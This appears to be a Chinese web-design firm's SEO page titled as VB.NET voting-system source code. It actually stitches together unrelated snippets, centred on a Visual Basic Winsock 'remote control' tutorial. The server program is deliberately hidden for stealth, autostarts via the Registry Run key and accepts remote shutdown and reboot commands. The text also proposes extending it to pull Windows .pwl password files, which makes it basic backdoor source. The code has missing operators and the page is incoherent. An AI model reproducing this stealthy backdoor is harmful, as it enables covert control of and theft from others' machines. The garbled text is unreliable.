vb.net投票系統(tǒng)源碼,vb投票器代碼

VB程序源碼如何使用

你需要安裝vb6.0開發(fā)軟件

創(chuàng)新互聯(lián)建站"三網(wǎng)合一"的企業(yè)建站思路。企業(yè)可建設(shè)擁有電腦版、微信版、手機(jī)版的企業(yè)網(wǎng)站。實(shí)現(xiàn)跨屏營(yíng)銷,產(chǎn)品發(fā)布一步更新,電腦網(wǎng)絡(luò)+移動(dòng)網(wǎng)絡(luò)一網(wǎng)打盡,滿足企業(yè)的營(yíng)銷需求!創(chuàng)新互聯(lián)建站具備承接各種類型的成都做網(wǎng)站、網(wǎng)站建設(shè)項(xiàng)目的能力。經(jīng)過(guò)10年的努力的開拓,為不同行業(yè)的企事業(yè)單位提供了優(yōu)質(zhì)的服務(wù),并獲得了客戶的一致好評(píng)。

如果安裝了,就可以直接打開源碼測(cè)試了,后綴名是vbp,(就是vb的工程文件)

如果沒(méi)有安裝vb6.0,還想打開源碼看程序,那就右擊 用記事本 打開后綴名為frm的文件,他是vb的窗口文件,源碼都在他里面

一般得源碼是沒(méi)有生成exe可執(zhí)行文件的,那樣文件太多,太大,浪費(fèi)空間

如果你自己想生成exe可執(zhí)行文件,那就vb6.0得文件菜單中把文件保存成exe可執(zhí)行文件就可以了,非常簡(jiǎn)單

好運(yùn)!

vb.net源代碼如何生成exe格式

vb.net編譯出來(lái)的exe只有依賴.net

framework才能運(yùn)行

但有一些第三方工具可以用來(lái)把exe用到的assembly和dll打包成一個(gè)exe文件,不過(guò)這樣的結(jié)果就是exe體積非常大

比如.netz工具,它的官方地址:

使用很簡(jiǎn)單,比如你的exe文件是a.exe,直接netz

a.exe就可以把a(bǔ)和它用到的.net代碼一起打包成一個(gè)exe

求用VB編一個(gè)局域網(wǎng)投票程序

VB中Winsock控件的使用

遠(yuǎn)程控制功能是基于客戶機(jī)/服務(wù)器這一模型來(lái)實(shí)現(xiàn)的,所以程序的編制也應(yīng)分兩部分進(jìn)行:一部分是服務(wù)器端--也就是被控制的一方,另一部分是客戶端--控制方。服務(wù)器程序要守侯在一個(gè)固定或不固定的網(wǎng)址(IP)上等待客戶程序的請(qǐng)求;客戶程序則向服務(wù)器程序所在的網(wǎng)址請(qǐng)求連接,連接成功后通過(guò)交換信息即可得到相應(yīng)的服務(wù)。因此設(shè)置Winsock屬性時(shí),服務(wù)器端應(yīng)設(shè)置LocalPort和應(yīng)用Listen方法進(jìn)行監(jiān)聽,客戶程序則要設(shè)置RemoteHost和RemotePort及應(yīng)用Connect方法請(qǐng)求連接,并用Senddata方法互換信息。下面是Winsock控件的相關(guān)屬性,方法和事件。(略去一些暫用不到的)

*屬性

-------------------------------------------------------------------------

LocalHostName | 本地機(jī)器名

LocalIP | 本地機(jī)器IP地址

LocalPort | 本地機(jī)器通信程序的端口(0端口65536)

RemoteHost | 遠(yuǎn)程機(jī)器名

RemotePort | 遠(yuǎn)程機(jī)器的通信程序端口

state | 連接的當(dāng)前狀態(tài)(文后有詳細(xì)說(shuō)明)

Protocal | 使用TCP或UDP協(xié)議(這里我們選‘0-sckTCPProtocal’)

--------------------------------------------------------------------------

*方法

--------------------------------------------------------------------------

Listen

Listen方法用于服務(wù)器程序,等待客戶訪問(wèn)。

格式:Winsock對(duì)象.listen

Connect

Connect方法用于向遠(yuǎn)程主機(jī)發(fā)出連接請(qǐng)求

格式:Winsock對(duì)象.connect [遠(yuǎn)程主機(jī)IP,遠(yuǎn)程端口]

Accept

Accept方法用于接受一個(gè)連接請(qǐng)求

格式:Winsock對(duì)象.accept Request ID

Senddata

此方法用于發(fā)送數(shù)據(jù)

格式:Winsock對(duì)象.senddata 數(shù)據(jù)

Getdata

用來(lái)取得接收到的數(shù)據(jù)

格式:Winsock對(duì)象.getdata 變量 [,數(shù)據(jù)類型 [,最大長(zhǎng)度]]

Close

關(guān)閉當(dāng)前連接

格式:Winsock對(duì)象.close

*事件

----------------------------------------------------------------------------

Close | 遠(yuǎn)程機(jī)器關(guān)閉連接時(shí)觸發(fā)

Connect | 連接建立好,可以進(jìn)行通信時(shí)觸發(fā)(客戶端)

ConnectRequest | 有請(qǐng)求連接到達(dá)時(shí)產(chǎn)生(服務(wù)器端)

DataArrival | 有數(shù)據(jù)到達(dá)時(shí)觸發(fā)

Error | 發(fā)生錯(cuò)誤時(shí)發(fā)生

SendProgress | 數(shù)據(jù)傳送進(jìn)度

-----------------------------------------------------------------------------

程序代碼如下:

--》服務(wù)器端程序(server.exe)

先在窗體中放置Winsock控件(他在運(yùn)行時(shí)是看不見的),屬性采用默認(rèn)值,再設(shè)置Form1的屬性ShowInTaskBar為False,Visible為False(這樣才有隱蔽性嘛).對(duì)于程序的自啟動(dòng)可手工在注冊(cè)表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加鍵值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run寫入"C:\windows\server.exe"來(lái)達(dá)到目的。當(dāng)然也可通過(guò)在VB5中調(diào)用API函數(shù)來(lái)實(shí)現(xiàn)對(duì)注冊(cè)表的寫入,這就更方便了,不過(guò)由于實(shí)現(xiàn)過(guò)程較復(fù)雜,就不在這里說(shuō)了.

Private Sub Form_Load()

On Error GoTo skip 注釋:如此端口已有通信程序則退出

Winsock1.LocalPort = 1334 注釋:端口值應(yīng)大于1024,如還有沖突可改為其他值

Winsock1.Listen

Exit Sub

skip:

If Err.Number = 10048 Then

MsgBox "端口沖突,退出!", vbOKOnly, "注意!"

End

End If

End Sub

Private Sub Winsock1_Close()

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Listen 注釋:關(guān)閉連接后繼續(xù)監(jiān)聽

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Accept requestID 注釋:請(qǐng)求到達(dá)時(shí),接受連接

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strget As String

Dim ccom As String

Winsock1.GetData strget 注釋:讀取到達(dá)的數(shù)據(jù)

Select Case strget

Case "a" 注釋:判斷到達(dá)的數(shù)據(jù)是否‘a(chǎn)’,是則重啟,你也可自己定義(協(xié)議就是這樣產(chǎn)生的)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注釋:不同機(jī)器設(shè)置不一樣

Call Shell(ccom, vbHide) 注釋:由函數(shù)curr_win()來(lái)判斷

Case "b" 注釋:如為‘b’則關(guān)閉計(jì)算機(jī)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"

Call Shell(ccom, vbHide) 注釋:函數(shù)shell來(lái)執(zhí)行命令

Case Else 注釋:可以在此加入其他命令

End Select

End Sub

Function curr_win() As String

Dim i As Integer

Dim enstr As String

i = 1 注釋:此函數(shù)通過(guò)讀取環(huán)境變量來(lái)獲得Windows目錄

enstr = Environ(i)

Do While enstr ""

If Len(enstr) 11 Then

If Left(enstr, 11) = "winbootdir=" Then

curr_win = Right(enstr, Len(enstr) - 11)

Exit Do

End If

End If

i = i + 1

enstr = Environ(i)

Loop

End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal

Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "錯(cuò)誤", vbOKOnly, "注意!" 注釋:如程序出現(xiàn)錯(cuò)誤,則簡(jiǎn)單的退出

End

End Sub

--》客戶端程序(Client.exe)

程序界面如圖[control.jpg]

防入四個(gè)命令按鈕,一個(gè)標(biāo)題框,一個(gè)Winsock控件,其屬性設(shè)置如下:

------------------------------------------------------------------------- -

控件名 | 控件類 | 屬性 | 屬性值

----------------------------------------------------------------------------

closewin_but | commandbutton | caption | 遠(yuǎn)程關(guān)閉

startwin_but | commandbutton | caption | 遠(yuǎn)程重啟

connect_but | commandbutton | caption | 連接

exit_but | commandbutton | caption | 退出

state_lab | label | borderstyle | 1

-----------------------------------------------------------------------------

代碼如下:

Private Sub Form_Load()

Winsock1.LocalPort = 22226 注釋:本地端口可任選,只要不沖突且小于65535,用

注釋:netstat -an命令可查看當(dāng)前通信進(jìn)程

Winsock1.RemoteHost = "127.0.0.1" 注釋:調(diào)試時(shí)此IP將對(duì)本機(jī)操作,實(shí)際應(yīng)用時(shí)可

注釋:換上被控方IP

Winsock1.RemotePort = 1334 注釋:對(duì)應(yīng)服務(wù)器端的localport

state_lab = "未建立連接."

End Sub

Private Sub closewin_but_Click()

If Winsock1.State sckConnected Then

state_lab = "請(qǐng)先建立連接"

Else

Winsock1.SendData "b" 注釋:發(fā)出關(guān)閉命令

End If

End Sub

Private Sub startwin_but_Click()

If Winsock1.State sckConnected Then

state_lab = "請(qǐng)先建立連接"

Else

Winsock1.SendData "a" 注釋:發(fā)出重啟命令

End If

End Sub

Private Sub connect_but_Click()

On Error GoTo skip

If Winsock1.State = sckConnected Then

state_lab = "已建立連接了"

Else

Winsock1.Connect

End If

Exit Sub

skip: 注釋:用netstat命令看到狀態(tài)為Time_wait則

If Err.Number = 10048 Then 注釋:須等待一段時(shí)間才可連接,也可換另一

注釋:端口,可加快連接速度

MsgBox "端口正在使用,請(qǐng)稍后再試!", vbOKOnly, "注意!"

End

End If

End Sub

Private Sub exit_but_Click()

Winsock1.Close 注釋:關(guān)閉連接且退出

End

End Sub

Private Sub Winsock1_Connect()

state_lab = "建立連接成功!可發(fā)送命令."

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,

ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "錯(cuò)誤", vbOKOnly, "注意!"

End

End Sub

通過(guò)上面的例子,我們大概了解了遠(yuǎn)程控制的原理,對(duì)于其他功能的實(shí)現(xiàn)應(yīng)該不難了。如文件的下載,可先讓客戶程序發(fā)一命令字串注釋:cc:\windows\lzh.pwl注釋:,服務(wù)器接收到命令字串后判斷出首字母c為下載命令,則將所指定的命令文件注釋:c:\windows\lzh.pwl注釋:傳送給客戶端,完成相應(yīng)的服務(wù)。需要注意的是,此程序只能建立一個(gè)連接,如要建立多個(gè)連接可通過(guò)在服務(wù)器端產(chǎn)生多個(gè)Winsock實(shí)例來(lái)接受請(qǐng)求.

*****測(cè)試環(huán)境:

Window98,MicroSoft Visual Basic 5.0企業(yè)版

附:屬性state值

常數(shù) 值 描述

sckClosed 0 關(guān)閉狀態(tài)

sckOpen 1 打開狀態(tài)

sckListening 2 偵聽狀態(tài)

sckConnectionPending 3 連接掛起

sckResolvingHost 4 解析域名

sckHostResolved 5 已識(shí)別主機(jī)

sckConnecting 6 正在連接

sckConnected 7 已連接

sckClosing 8 同級(jí)人員正在關(guān)閉連接

sckError 9 錯(cuò)誤

推薦到這里看看:

如何用vb.net獲得網(wǎng)頁(yè)的源代碼

Dim url As String=" 網(wǎng)址"

Dim httpReq As System.Net.HttpWebRequest

Dim httpResp As System.Net.HttpWebResponse

Dim httpURL As New System.Uri(url)

httpReq = CType(WebRequest.Create(httpURL), HttpWebRequest)

httpReq.Method = "GET"

httpResp = CType(httpReq.GetResponse(), HttpWebResponse)

httpReq.KeepAlive = False ' 獲取或設(shè)置一個(gè)值,該值指示是否與

Internet資源建立持久連接。

Dim reader As StreamReader = _

New StreamReader(httpResp.GetResponseStream,

System.Text.Encoding.GetEncoding(-0))

Dim respHTML As String = reader.ReadToEnd() 'respHTML就是網(wǎng)頁(yè)源代碼

本文名稱:vb.net投票系統(tǒng)源碼,vb投票器代碼
URL地址:http://muchs.cn/article42/hcjdhc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供面包屑導(dǎo)航、網(wǎng)站維護(hù)、App開發(fā)、虛擬主機(jī)、網(wǎng)站制作網(wǎng)站內(nèi)鏈

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

商城網(wǎng)站建設(shè)